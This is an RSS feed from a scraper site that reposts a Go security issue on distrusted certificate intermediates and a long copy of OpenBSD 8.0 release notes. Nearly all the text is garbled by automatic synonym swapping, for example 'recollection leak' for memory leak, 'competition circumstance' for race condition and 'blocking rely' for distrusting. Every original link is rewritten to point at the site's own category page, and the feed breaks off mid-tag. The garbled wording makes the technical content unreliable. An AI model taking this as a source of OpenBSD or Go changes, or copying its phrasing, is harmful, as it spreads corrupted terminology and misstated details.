<?xml version="1.0" encoding="UTF-8" ?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" version="2.0"> <channel> <title><![CDATA[MC Project]]></title> <description><![CDATA[Global digital products and freelance services. Focuses on development, production and distribution of programming scripts, application source code, plugins, themes and templates.]]></description> <image> <title><![CDATA[MC Project]]></title> <url>https://en.mycoding.id/favicon.ico</url> <link>https://en.mycoding.id/</link> </image> <category><![CDATA[Software Engineering, Website Development, Mobile Android App, Application Source Code, Programming Scripts]]></category> <link>https://en.mycoding.id/</link> <atom:link href="https://en.mycoding.id/rss.xml" rel="self" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/rss-videos.xml" rel="alternate" type="application/rss+xml"/> <atom:link href="https://en.mycoding.id/" rel="alternate" type="text/html"/> <pubDate>Tue, 20 Oct 2026 04:05:07 +0700</pubDate> <lastBuildDate>Tue, 20 Oct 2026 04:05:07 +0700</lastBuildDate> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <managingEditor>support@mycoding.id (Adi Gunawan)</managingEditor> <webMaster>support@mycoding.id (Adi Gunawan)</webMaster> <language>en_US</language> <copyright>MC Project</copyright> <generator>MC Project</generator> <item> <title><![CDATA[Go will reject certificate chains containing eight distrusted SPKIs]]></title> <description><![CDATA[Go will reject certificate chains containing eight distrusted SPKIs. Comments]]></description> <media:thumbnail url="https://opengraph.githubassets.com/cbca9d3d30da4f65e72d4d1f9f233dfb40d926e4b794005b1e0a3affae0d88cc/golang/go/issues/82345"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/go-will-reject-certificate-chains-containing-eight-distrusted-spkis-73238</link> <content:encoded><![CDATA[<div id="issue-body-viewer" data-testid="issue-body-viewer"><div data-testid="markdown-body" data-team-hovercards-enabled="true" data-turbolinks="false"><div><p dir="auto">We're blocking rely in a small set of intermediate certificates because of particular safety concerns about their operation.</p> <p dir="auto">Verify volition now display out chains which merge these intermediates, preventing them from being returned to the caller.</p> <p dir="auto">We extremely propose immediately upgrading to this release.</p> <p dir="auto">This is CVE-2026-111943 and Go matter <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">https://go.dev/issue/82345</a>.</p> <hr> <p dir="auto">This was an <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">URGENT track</a> matter initially tracked in <a href="https://en.mycoding.id/category/technology" target="_blank" rel="nofollow">http://b/575512169</a>.</p></div></div><div><p><span data-direction="n" data-component="Tooltip" aria-hidden="true" id="_R_1al4utkp85_">Reactions are currently unavailable</span></p></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/go-will-reject-certificate-chains-containing-eight-distrusted-spkis-73238</guid> <pubDate>Tue, 20 Oct 2026 04:05:07 +0700</pubDate> <author><![CDATA[support@mycoding.id (Adi Gunawan)]]></author> </item> <item> <title><![CDATA[OpenBSD 8.0]]></title> <description><![CDATA[OpenBSD 8.0. Comments]]></description> <media:thumbnail url="https://www.openbsd.org//images/blowfishonbike-s.gif"/> <category><![CDATA[Technology]]></category> <link>https://en.mycoding.id/openbsd-8-0-73239</link> <content:encoded><![CDATA[<div> <h2 id="OpenBSD"> <a href="https://en.mycoding.id/category/technology" target="_blank"> <i>Open</i><b>BSD</b></a> 8.0 </h2> <table readabilitydatatable="0"> <tr> <td> <a href="https://en.mycoding.id/category/technology" target="_blank"> <img width="200" height="300" src="https://www.openbsd.org//images/blowfishonbike-s.gif" alt="Blowfish on a Bike"></a> </td><td> Released October 20, 2026. (61st OpenBSD release)<br> Copyright 1997-2026, Theo de Raadt.<p> 8.0 Song: "<a href="https://en.mycoding.id/category/technology" target="_blank">The Simps on AI</a>"</p><p> Artwork by yvaneht nioj and clanker. </p><ul> <li>See the data on <a href="https://en.mycoding.id/category/technology" target="_blank">the FTP page</a> for a catalog of mirror machines. </li><li>Go to the pub/OpenBSD/8.0/ directory on among the mirror sites. </li><li>Have a appearance at <a href="https://en.mycoding.id/category/technology" target="_blank">the 8.0 errata page</a> for a list of bugs and workarounds. </li><li>See a <a href="https://en.mycoding.id/category/technology" target="_blank">detailed log of changes</a> between the 7.9 and 8.0 releases. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">signify(1)</a> pubkeys for this release:<table readabilitydatatable="0"> <tr><td> openbsd-80-base.pub: </td><td> <a href="https://en.mycoding.id/category/technology" target="_blank"> RWSMSt0erHTctUxq2JDAgQRo64ztikp8JvQeiSPte3NZ0Geou0TkTEiE </a></td></tr><tr><td> openbsd-80-fw.pub: </td><td> RWRjzXzC89s1iQC9P3xgcdeN6OUoJz9t7ggTY0xBb1W8PfeOzAdwod66 </td></tr><tr><td> openbsd-80-pkg.pub: </td><td> RWRspL7ERnSFIscdEvBwVySymWNopP+CEZHbaB3IMJIt0bUXGBuIfUqC </td></tr><tr><td> openbsd-80-syspatch.pub: </td><td> RWQAeCccO9yAASmUJSCJEW9C5WOP/GAsa5dhMtPPmb5pehzPO7EAmqhK </td></tr></table> </li></ul> <p> All applicable copyrights and credits are in the src.tar.gz, sys.tar.gz, xenocara.tar.gz, ports.tar.gz files, or in the files fetched via ports.tar.gz. </p></td></tr></table> <hr> <h3>What's New</h3> <p> This is a partial catalog of new features and systems included in OpenBSD 8.0. For a thorough list, see the <a href="https://en.mycoding.id/category/technology" target="_blank">changelog</a> foremost to 8.0. </p><ul> <li>Platforms particular improvements: <ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank">amd64</a>: <ul> <li>Raised the size of amd64 kernel virtual location area from 4G to 512G. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">pmap(9)</a> straightforward map now placed at a random location. </li><li>Sped up toggle encryption by using AES cpu instructions. </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">arm64</a>: <ul> <li>Added hibernate support. </li><li>Sped up toggle encryption by using AES cpu instructions. </li><li>Implemented bounce buffers. </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">luna88k</a>: <ul> <li>Fixed m88k multiple CMMU enroll writes. </li><li>Extended m88k kernel-mode CMMU error handling to grip compose safety faults. </li><li>Ensure luna88k m8820x_initialize_cpu() initializes logical CPU #0 on non-MP kernels. </li><li>Faster CMMU stroll in luna88k m8820x_cpu_number(). </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">riscv64</a>: <ul> <li>Detect CPU extensions and advertise those usable by userland through elf_aux_info(3) AT_HWCAP and AT_HWCAP2 queries. </li><li>Added kernel assistance for the 'V' vector extension. </li><li>Implemented bounce buffers. </li><li>Added assistance for RISC-V Advanced Interrupt Architecture; added <a href="https://en.mycoding.id/category/technology" target="_blank">imsic(4)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">aplic(4)</a> drivers. </li><li>Added kernel assistance for the Sstc timer extension. </li></ul> </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">sparc64</a>: <ul> <li>Added limits inspect for the sparc64 relocation flags table. </li><li>Switched sparc64 to LLVM toolchain. </li><li>Improved recollection alignment on SPARCV9. </li></ul> </li><li>Other <a href="https://en.mycoding.id/category/technology" target="_blank">architectures</a>: <ul> <li>Retired assistance for loongson architecture (not operating alongside Clang 22). </li><li>Various RISC-V and MIPS bugfixes for LLVM. </li><li>Fixed encoding of hppa safety bits. </li></ul> </li><li>More phase particular changes can be established in the <a href="https://en.mycoding.id/category/technology" target="_blank">hardware support</a> division below. </li></ul> </li><li>Various kernel improvements: <ul> <li>Fixed recollection size calculation in <a href="https://en.mycoding.id/category/technology" target="_blank">open_wmemstream(3)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">semop(2)</a> semaphore id being destroyed/replaced during environment switch. </li><li>Improved idle leaf queue heuristics for pagedaemon swapping pages/freeing memory. </li><li>Added <a href="https://en.mycoding.id/category/technology" target="_blank">getexecpath(3)</a> to provision copy of the <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> program's implementation path. </li><li>More preparations for larger disklabel. </li></ul> </li><li>Suspend/Hibernate Support: <ul> <li>Enabled suspend/resume for <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a>. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">ufshci(4)</a> last a suspend on the Samsung Galaxy Book4 Edge and HONOR MagicBook Art 14 Snapdragon. </li><li>Stopped waking a suspended laptop whenever lid is closed and machdep.lidaction=0. </li><li>Added a earth sleep manner changeable to differentiate hibernate from 'normal' suspend. </li><li>Added suspend/resume assistance for <a href="https://en.mycoding.id/category/technology" target="_blank">qcuart(4)</a>. </li><li>Added assistance for wakeup interrupts to <a href="https://en.mycoding.id/category/technology" target="_blank">bytgpio(4)</a>, fixes IdeaPad resuming from suspend. </li><li>Validate size of chunks copied to piglet during hibernate unpacking of disk image. </li><li>Validate on-disk depiction sizes against entire figure overflow whenever study chunks in unhibernate. </li><li>Prevent disk depiction overreads whenever study the chunktable in unhibernate. </li><li>Clean up the framebuffer following unhibernate. </li><li>Made nonaccomplishment to allocate a dedicated queue for <a href="https://en.mycoding.id/category/technology" target="_blank">nvme(4)</a> hibernate assistance non-fatal. </li></ul> </li><li>Direct Rendering Manager and graphics drivers: <ul> <li>Updated <a href="https://en.mycoding.id/category/technology" target="_blank">drm(4)</a> to Linux 6.18.53. </li><li>Support for Intel Arc A-Series (DG2/Alchemist) graphics cards in <a href="https://en.mycoding.id/category/technology" target="_blank">inteldrm(4)</a>. </li><li>Increased kernel virtual location area on amd64 allows mapping additional than 4GB of VRAM. </li><li>Workaround <a href="https://en.mycoding.id/category/technology" target="_blank">inteldrm(4)</a> GuC timeout errors seen on several Alder Lake systems. </li></ul> </li><li>VMM/VMD improvements: <ul> <li>Added MP assistance for up to 64 VCPUs per visitant VM. </li><li>Redesigned to use records to oversee VM ownership. </li><li>Added x2apic manner assistance for visitant virtual machines. </li><li>Fix for whenever <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> does not detect kernel on startup. </li><li>Provide faulting GPA to <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> for MMIO exits from <a href="https://en.mycoding.id/category/technology" target="_blank">vmm(4)</a>. </li><li>Refactored <a href="https://en.mycoding.id/category/technology" target="_blank">vmm(4)</a> exit handling and accurate RIP adjustment. </li><li>Added assistance for changeable dimension instructions in VMX paths to <a href="https://en.mycoding.id/category/technology" target="_blank">vmm(4)</a>. </li><li>Prevent OOB says by <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> in 32 and 64-bit <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> loaders alongside malformed <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> files. </li><li>Implemented missing lapic/ioapic modes to fix <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> assistance for 32-bit linux guests. </li><li>Added checksum offload for <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a> guests. </li><li>MSI/MSI-X virtio equipment interrupt assistance added. </li><li>Support really divided split-virtqueues in <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a>. </li><li>Added i82093aa ioapic and i82489dx-compatible lapic emulation to <a href="https://en.mycoding.id/category/technology" target="_blank">vmd(8)</a>. </li><li>Improved qcow handling. </li></ul> </li><li>Various new userland features: <ul> <li><a href="https://en.mycoding.id/category/technology" target="_blank">netstat(1)</a> can now imprint interface multicast counter; made '-q' additional specific. </li><li>Adjusted <a href="https://en.mycoding.id/category/technology" target="_blank">ddb(4)</a> default 'ps' output, imprint 'struct process' and 'struct proc' separately. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">mount(8)</a> assistance DUIDs alongside -u; maintain DUID whenever updating document system. </li><li>Implemented authority of midithru ports alongside <a href="https://en.mycoding.id/category/technology" target="_blank">sndioctl(1)</a>. </li><li>Allow catalog elements to be added or removed by <a href="https://en.mycoding.id/category/technology" target="_blank">sndioctl(1)</a>. </li><li>Added the <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a> server.mode authority making the environment dynamic, changeable via <a href="https://en.mycoding.id/category/technology" target="_blank">sndioctl(1)</a>. </li></ul> </li><li>More bugfixes and tweaks in userland: <ul> <li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> header and program header fit into the shared archive whenever loading. </li><li>Fixed leak of key recollection in <a href="https://en.mycoding.id/category/technology" target="_blank">getpwent(3)</a> yp_next(). </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">patch(1)</a>, solved an infinite iteration on malformed <a href="https://en.mycoding.id/category/technology" target="_blank">ed(1)</a> manuscript input. </li><li>Use <a href="https://en.mycoding.id/category/technology" target="_blank">execv(3)</a> absolute-path in <a href="https://en.mycoding.id/category/technology" target="_blank">authpf(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">pflogd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ldapd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">ldpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">lpd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">radiusd(8)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">snmpd(8)</a>. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">uaudio(4)</a> now tests the reported format and channels are usable. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a> aborting if a MIDI endpoint connects alongside non-empty buffers. </li><li>Fixed two missing checks of file_new() come back value in <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a>. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">npppd(8)</a> LCP MRU choice handing. </li><li>Adjust <a href="https://en.mycoding.id/category/technology" target="_blank">pstat(8)</a> to come back the pid of the meeting chief process; authorize '-t -M' to work. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">eigrpd(8)</a> validate the prefixlen to evade overflow. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">sndiod(8)</a> allocate all midithru structures on the heap. </li></ul> </li><li id="hardware_support">Improved hardware assistance and controller bugfixes, including: <ul> <li>Enabled the GXTP7936 touchscreen on the Samsung Galaxy Book4 Edge. </li><li>Added assistance for the riscv64 K3 PCIe/USB3 combo PHY. </li><li>Enabled <a href="https://en.mycoding.id/category/technology" target="_blank">gpioleds(4)</a> on riscv64. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">smte(4)</a> (SpacemiT K1 Ethernet device), improved error checking of received packets. </li><li>Fixed regular MSI interrupts on the SpacemiT K1 SoC. </li><li>Added assistance for the SpacemiT K3 SoC to <a href="https://en.mycoding.id/category/technology" target="_blank">smtclock(4)</a>. </li><li>Added SC7280 assistance to <a href="https://en.mycoding.id/category/technology" target="_blank">qcgpio(4)</a>. </li><li>Added assistance for the SpacemiT K3 <a href="https://en.mycoding.id/category/technology" target="_blank">dwpcie(4)</a> PCIe controller. </li><li>Added RK3528 I2C5 clock, used in the Radxa E24C. </li><li>Added ACPI hardware IDS for Qualcomm Glymur (X2) SoC. </li><li>Implemented leaf array mirroring in <a href="https://en.mycoding.id/category/technology" target="_blank">apldart(4)</a>; allow IOMMU for Apple USB controllers. </li><li>New <a href="https://en.mycoding.id/category/technology" target="_blank">samsabi(4)</a> controller for the Samsung Advanced BIOS Interface (SABI). </li><li>New <a href="https://en.mycoding.id/category/technology" target="_blank">sambat(4)</a> controller for Samsung laptop power division monitor. </li><li>New <a href="https://en.mycoding.id/category/technology" target="_blank">rkotp(4)</a> controller for Rockchip OTP memory. </li><li>Added assistance for the RK8600 regulator used for CPU voltage on Radxa Zero 3 boards. </li><li>Added additional AMD "Krackan Point" equipment ids. </li><li>Fixed HONOR MagicBook Touchpad multitouch support. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">esp(4)</a> FIFO recollection overflow. </li><li>Fixed possible recollection leak in <a href="https://en.mycoding.id/category/technology" target="_blank">softraid(4)</a> rebuild. </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">softraid(4)</a> rebuild on disks alongside 4096-byte sectors. </li><li>Fixed elevated recollection mbufs for 64-bit DMA capable <a href="https://en.mycoding.id/category/technology" target="_blank">re(4)</a>. </li></ul> </li><li>New or improved network hardware support: <ul> <li>Added assistance for Panther Lake and Wildcat Lake Ethernet devices to <a href="https://en.mycoding.id/category/technology" target="_blank">em(4)</a>. </li><li>Added assistance for Intel E610 Ethernet devices to the <a href="https://en.mycoding.id/category/technology" target="_blank">ix(4)</a> driver. </li></ul> </li><li>Added or improved wireless network drivers: <ul> <li>Properly grip possible case of bare packets returned from <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> hardware. </li><li>Added missing DMA syncs for <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> SRNG DMA descriptor memory. </li><li>Properly grip <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> VIF DMA map allocation failures at nexus time. </li><li>Fixed use of old pointers on the <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> vif catalog which caused crashes. </li><li>Properly reset <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> controller and equipment province if it fails to get RUNNING in qwx_init(). </li><li>Avoid competition circumstance in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> equipment during power-on. </li><li>Use the ioctl rwlock correctly in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> qwx_activate(). </li><li>Ensure <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> rx_ring-&gt;bufs_max and freemap are continually initialised correctly. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> init project waiting for the ioctl fastener to rotate into available. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> correctly errors which happen in qwx_qmi_fw_init_done(). </li><li>Fixed roaming between APs alongside <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Always authorize data example interrupts in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> during the interface is UP. </li><li>Added assistance for 40MHz channels to <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> lone allocate a new mbuf whenever a liberated Rx circle slot is available. </li><li>Avoid calling bus_dmamap_create() from interrupt environment in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Handle nation code events sent by <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> firmware to create affiliation additional reliable. </li><li>Reset <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> command circle 'queued' oppose whenever the command circle gets reset. </li><li>Ensure that <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> nq flags are continually cleared whenever switching net80211 state. </li><li>Fixed figure of tx/rx streams set in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> mac config. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> dispatch the PMF good-bye deauth example whenever hopping out of RUN state. </li><li>Ensure no new tasks get scheduled during IFF_RUNNING is in qwx_stop(). Prevents <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a> crash. </li><li>Make <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> favor ic_bss complete the ephemeral node in the scan tree. </li><li>Add equal to <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> firmware following starting the vdev, not before. Fixes a firmware crash. </li><li>Add 802.11n assistance to <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. Advertise HT capabilities and continue HT/QoS equal association. </li><li>Ask <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a> firmware to move into M3 province before resetting the device. </li><li>Avoid calling bus_dmamap_destroy() from interrupt environment in <a href="https://en.mycoding.id/category/technology" target="_blank">qwx(4)</a>. </li><li>Added 802.11n alongside 40MHz width to <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a>. </li><li>Let <a href="https://en.mycoding.id/category/technology" target="_blank">qwz(4)</a> grip QoS in native WiFi frames. </li></ul> </li><li>Installer, upgrade, bootloader, and pkg-tools improvements: <ul> <li>Harmonise <a href="https://en.mycoding.id/category/technology" target="_blank">installurl(5)</a> handling in <a href="https://en.mycoding.id/category/technology" target="_blank">pkg_add(1)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">sysupgrade(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">syspatch(8)</a>. </li><li>Fixed liberated area inspect by <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> for unqualified filenames. </li><li>Set bounds on the size of records <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> can download. </li><li>Stricter validation in <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> to no longer treat untrusted comments as data. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">pkg_add(1)</a> now detects and overcomes several endless loops alongside merge-sets. </li><li>Clean trailing slashes from <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> FWURL. </li><li>Removed current directory from default <a href="https://en.mycoding.id/category/technology" target="_blank">pkg_add(1)</a> hunt path. </li><li>Improved downloading of firmware by filename in <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a>. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> error whenever SHA256.sig is not found. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a> now checks signature of local SHA256.sig. </li><li>In <a href="https://en.mycoding.id/category/technology" target="_blank">fw_update(8)</a>, made <a href="https://en.mycoding.id/category/technology" target="_blank">tar(1)</a> skip records exterior expected locations. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">syspatch(8)</a> downloading complete tgz document whenever looking for a possible update. </li></ul> </li><li>Security improvements: <ul> <li>Fixed a <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> in <a href="https://en.mycoding.id/category/technology" target="_blank">vfs(9)</a>. </li><li>Fixed out-of-bounds admission attempts on <a href="https://en.mycoding.id/category/technology" target="_blank">aplmca(4)</a> SOCs. </li><li>Stopped use of non-standard UID_MAX and GID_MAX in assorted utilities. </li><li>Improved <a href="https://en.mycoding.id/category/technology" target="_blank">ipsec(4)</a> AES GMAC crypto. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a> refuse malformed and out-of-state IKEv2 messages. </li><li>Plugged memleak in x509_verify (CID 656293). </li><li>Avoid overflow in <a href="https://en.mycoding.id/category/technology" target="_blank">sysctl(2)</a> KERN_PROC_ARGS. </li><li>Prevent bogus or malicious iaddr data from crashing <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpd(8)</a>. </li><li>Avoid possible recollection exhaustion via DHCPINFORM in <a href="https://en.mycoding.id/category/technology" target="_blank">dhcpd(8)</a>. </li><li>Properly use saltlen and min_saltlen in libcrypto RSA-PSS. </li><li>Reject invalid delta CRLs in libcrypto x509. </li><li>Fixed RFC 3779 bequest handling in libcrypto's way validation. </li><li>Use <a href="https://en.mycoding.id/category/technology" target="_blank">execve(2)</a> as $ORIGIN in <a href="https://en.mycoding.id/category/technology" target="_blank">ld.so(1)</a> (otherwise fallback to realpath). </li><li>Hardened <a href="https://en.mycoding.id/category/technology" target="_blank">syspatch(8)</a> against malicious scripts. </li><li>Restrict the characters that are allowed to continue through <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> surroundings and mda. </li><li>Fixed study former the NUL by <a href="https://en.mycoding.id/category/technology" target="_blank">pax(1)</a>. </li><li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">pax(1)</a> extracting malicious archives exterior the operating directory. </li><li>Added 'mcast' to the <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> for <a href="https://en.mycoding.id/category/technology" target="_blank">lldpd(8)</a>. </li><li>Tightened pledge_sockopt() level/optname checks for distinct types of sockets. </li><li>Extended the 'mcast' <a href="https://en.mycoding.id/category/technology" target="_blank">pledge(2)</a> to authorize multicast tweaks on Ethernet example sockets. </li><li>Updated libexpat to type 2.8.4 (CVE-2026-66046 CVE-2026-76641 CVE-2026-76957). </li><li>Avoid manuscript pathname TOCTOU in exec whenever the vnode changes. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">execve(2)</a> realpath handling additional robust. </li><li>Switched luna88k to build kernel records alongside -fno-pie. </li><li>Unprivileged kernel recollection peruse and compose exposure removed from m88k 88100 data pipeline. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">unveil(2)</a> now restricts <a href="https://en.mycoding.id/category/technology" target="_blank">man(1)</a>, <a href="https://en.mycoding.id/category/technology" target="_blank">makewhatis(8)</a>, and <a href="https://en.mycoding.id/category/technology" target="_blank">man.cgi(8)</a> peruse and compose access. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">dhcpleased(8)</a> now validates the IP location the dhcp server acks. </li><li>Fixed signed entire figure overflow in <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> Storable (CVE-2026-57433). </li><li>Fixed entire figure overflow in <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> group and unpack (CVE-2026-57432). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> incorrect regular expression matches (CVE-2026-13221). </li><li>Fixed recollection leaks and competition circumstance in <a href="https://en.mycoding.id/category/technology" target="_blank">profil(2)</a>. </li><li>Improved checking of <a href="https://en.mycoding.id/category/technology" target="_blank">elf(3)</a> notes; forestall out of limits access. </li><li>Reject <a href="https://en.mycoding.id/category/technology" target="_blank">elf(3)</a> interpreters without loadable segments. </li><li>Disable <a href="https://en.mycoding.id/category/technology" target="_blank">kbind(2)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">pinsyscalls(2)</a> for fixed binaries inner exec_elf_makecmds(). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">elf(5)</a> structs to evade leaking kernel stack contents. </li><li>LibXfont 2 fixes for CVE-2026-56001, CVE-2026-56002, and CVE-2026-56003. </li><li><a href="https://en.mycoding.id/category/technology" target="_blank">Xserver(1)</a> fixes for CVE-2026-55999 and CVE-2026-56000. </li><li>Updated <a href="https://en.mycoding.id/category/technology" target="_blank">perl(1)</a> Socket to 2.041 (contains fix for CVE-2026-12087, out-of-bounds heap read). </li><li>Fixed <a href="https://en.mycoding.id/category/technology" target="_blank">iked(8)</a> to <a href="https://en.mycoding.id/category/technology" target="_blank">bzero(3)</a> the disguise data structure, fairly than using mask4. </li><li>Fixes for CVE-2026-12244, CVE-2026-12245, CVE-2026-12246 and CVE-2026-12490 in <a href="https://en.mycoding.id/category/technology" target="_blank">nsd(8)</a>. </li><li>Stopped leaking transport in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> error paths of udp_encap_handle_message(). </li><li>Enforce per-type ID payload size in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a> ipsec_validate_id_information(). </li><li>Avoid change overflows in <a href="https://en.mycoding.id/category/technology" target="_blank">memmem(3)</a> and <a href="https://en.mycoding.id/category/technology" target="_blank">strstr(3)</a>. </li><li>Multiple additional limits checks in <a href="https://en.mycoding.id/category/technology" target="_blank">isakmpd(8)</a>. </li><li>Provide a distinct executable document for <a href="https://en.mycoding.id/category/technology" target="_blank">syslogd(8)</a> parent, for privilege separation. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> apparent userinfo before sending complete imsg. </li><li>Made <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> refuse oversized sockaddr payloads received complete privsep IPC. </li><li>Zero the impermanent <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> letter cover parsing buffers before use to fortify privsep. </li><li>Clear pending asynchronous lookups at teardown, for stronger <a href="https://en.mycoding.id/category/technology" target="_blank">smtpd(8)</a> privsep. </li><li>Fixed possible data leak from an uninitialised <a href="https://en.mycoding.id/category/technology" target="_blank">ktrace(1)</a> stack variable. </li></ul> </li><li>New features in the network stack: <ul> <li>Set <a href="https://en.mycoding.id/category/technology" target="_blank">ice(4)</a> nexus province to complete duplex. </li><li>Reduced maximum TSO segs in <a href="https://en.mycoding.id/category/technology" target="_blank">ice(4)</a>, to authorize additional interfaces to attach. </li><li>Enabled use of 128 DMA segments for TSO packets on <a href="https://en.mycoding.id/category/technology" target="_blank">ice(4)</a>. </li><li>Enabled 64-bit DMA for <a href="https://en.mycoding.id/category/technology" target="_blank">bge(4)</a> BCM5720. </li><li>Enabled jumbo frames in <a href="https://en.mycoding.id/category/technology" target="_blank">ogx(4)</a>. </li></ul> </li><li>Further changes and bugfixes in the network stack: <ul> <li>Stopped <a href="https://en.mycoding.id/category/technology" target="_blank">ipsec(4)</a> overflowing the maximum packet size in the IP header. </li><li>Detect out of border says from an int overflow in the <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> bpf_mem backends. </li><li>Moved <a href="https://en.mycoding.id/category/technology" target="_blank">bpf(4)</a> for outgoing packets afterward in the transmit path. </li><li>Avoid leaking recollection whenever mbuf sequence allocations neglect in <a href="https://en.mycoding.id/category/technology" target="_blank">tun(4)</a> tun_dev_write(). </li><li>Fixed hardmtu and rxmax in <a href="https://en.mycoding.id/category/technology" target="_blank">ixl(4)</a>. </li><li>Handle energetic conduit width changes correctly in <a href="https://en.mycoding.id/category/technology" 